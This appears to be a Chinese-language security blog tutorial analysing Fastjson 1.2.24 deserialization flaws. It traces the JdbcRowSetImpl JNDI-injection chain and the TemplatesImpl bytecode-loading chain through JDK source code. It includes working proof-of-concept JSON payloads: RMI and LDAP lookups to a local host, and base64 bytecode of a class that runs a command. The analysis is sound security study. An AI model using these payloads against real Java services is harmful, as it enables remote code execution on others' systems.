Fastjson反序列化(二)

Chiexf Lv4

0x00 介绍

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type这个属性的

这个版本的jastjson有两条利用链——JdbcRowSetImplTemplateslmpl

0x01 JdbcRowSetImpl 反序列化

环境

  • JDK 8U65
  • 1.2.22 <= fastjson <= 1.2.24
  • 出网

注:JDK版本尽量在未修复JDNI漏洞之前,主要是为了分析漏洞点

分析

首先在com.sun.rowset.JdbcRowSetImpl#connect()方法里调用了lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
//省略部分代码......
}
//省略部分代码......
}
//省略部分代码......
}

看一下getDataSourceName做了什么,返回了个dataSource,可以看一下dataSource是否可控

1
2
3
public String getDataSourceName() {
return dataSource;
}

javax.sql.rowset.BaseRowSet#getDataSourceName方法中,可以看到是dataSource可控的

所以lookup中的参数就是可控的dataSource,存在JNDI注入

而且也符合调用setter条件

1
2
3
4
5
6
7
8
9
10
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}

可以找到com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法中调用了connect方法

也符合setter要求

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

POC

首先写入**@type对应的类名com.sun.rowset.JdbcRowSetImpl**

第二步写入JNDI注入的地址

第三步写入要调用的方法

JNDI+RMI

1
2
3
4
5
6
7
8
public class JdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:8085/vBPQAsoG\"," +
"\"autoCommit\":false}";
JSON.parseObject(s);
}
}

JNDI+LDAP

1
2
3
4
5
6
7
8
public class JdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:8085/vBPQAsoG\"," +
"\"autoCommit\":false}";
JSON.parseObject(s);
}
}

0x02 Templateslmpl反序列化

Fastjson通过**_bytecodes字段传入恶意类,调用outputProperties属性的getter**方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

Templateslmpl利用链在CC3 chain中就有用到过

原因是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance方法中调用了newInstance方法,实例化了**_class**对象,导致了恶意动态类加载

而其中的构造参数我们容易控制,这就造成了一些反序列化漏洞。

调用链

1
2
3
4
5
6
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader
TransletClassLoader.defineClass()

POC

  • 恶意类

需要将其先编译,然后将class文件转为base64形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Calc extends AbstractTranslet{
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("Calc");

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
  • payload
1
2
3
4
5
6
7
8
9
10
public class Templateslmpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66v...AEAIgABACMAAAACACQ=\"]," +
"\"_name\":\"hello\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }}";
JSON.parseObject(s,Feature.SupportNonPublicField);
}
}
  • 调试路线

JavaBeanDeserializer —> FieldDeserializer之间会循环

key == _outputProperties时,才会调用invoke,后面就是CC3 chain的调用了

1
2
3
4
5
6
7
8
9
10
11
JSON.parseObject()
DefaultJSONParser.parse()
parse.parseObject()
parseObject#deserializer.deserialze()
JavaBeanDeserializer.parseField()
parseField.parseField()
fieldDeserializer.parseField()
DefaultFieldDeserializer.parseField()
parseField.setValue()
FieldDeserializer.setValue()
method.invoke()

0x03 参考资料

https://www.javasec.org/java-vuls/FastJson.html

https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#0x03-%E5%9F%BA%E4%BA%8E-TemplatesImpl-%E7%9A%84%E5%88%A9%E7%94%A8%E9%93%BE